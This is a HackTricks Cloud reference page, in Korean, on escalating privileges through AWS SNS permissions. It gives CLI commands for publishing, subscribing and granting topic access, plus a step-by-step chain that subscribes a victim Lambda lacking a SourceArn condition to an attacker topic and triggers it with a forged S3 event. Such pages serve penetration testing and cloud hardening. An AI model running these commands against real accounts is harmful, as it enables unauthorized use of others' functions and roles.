AWS - SNS Privesc
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SNS
자세한 내용은 다음을 확인하세요:
sns:Publish
공격자는 SNS topic에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 동작 유발, 또는 리소스 고갈을 초래할 수 있습니다.
aws sns publish --topic-arn <value> --message <value>
Potential Impact: 취약점 악용, 데이터 손상, 의도치 않은 동작 또는 자원 소진.
sns:Subscribe
공격자는 SNS topic을 구독할 수 있어 메시지에 무단으로 접근하거나 해당 topic에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potential Impact: 메시지(민감한 정보 포함)에 대한 무단 접근, 영향을 받은 SNS topic에 의존하는 애플리케이션의 서비스 중단.
sns:AddPermission
공격자는 권한이 없는 사용자나 서비스에 SNS topic에 대한 접근을 부여하여 잠재적으로 추가 권한을 획득할 수 있습니다.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potential Impact: 토픽에 대한 무단 접근, 메시지 노출 또는 무단 사용자나 서비스에 의한 토픽 조작, 토픽에 의존하는 애플리케이션의 정상 동작 중단.
와일드카드 SNS 권한을 악용하여 Lambda 호출 (no SourceArn)
Lambda 함수의 리소스 기반 정책이 sns.amazonaws.com이 소스 토픽(SourceArn)을 제한하지 않고 호출하도록 허용하면, 어떤 SNS topic(심지어 다른 계정의 것이라도)도 구독하여 해당 함수를 트리거할 수 있습니다. 기본 SNS 권한을 가진 공격자는 공격자가 제어하는 입력으로 Lambda를 해당 IAM 역할로 실행하도록 강제할 수 있습니다.
tip
TODO: 이것이 실제로 cross-account(교차 계정)에서 가능한가?
전제 조건
- 피해자 Lambda 정책에는 아래 예시와 같은 statement가 포함되어 있으며,
SourceArn조건이 없습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
악용 단계(동일 계정 또는 교차 계정)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Potential Impact: 피해자 Lambda는 IAM role로 실행되어 attacker-controlled input을 처리합니다. 이로 인해 권한에 따라 함수가 민감한 작업(예: write to S3, access secrets, modify resources)을 수행하도록 악용될 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud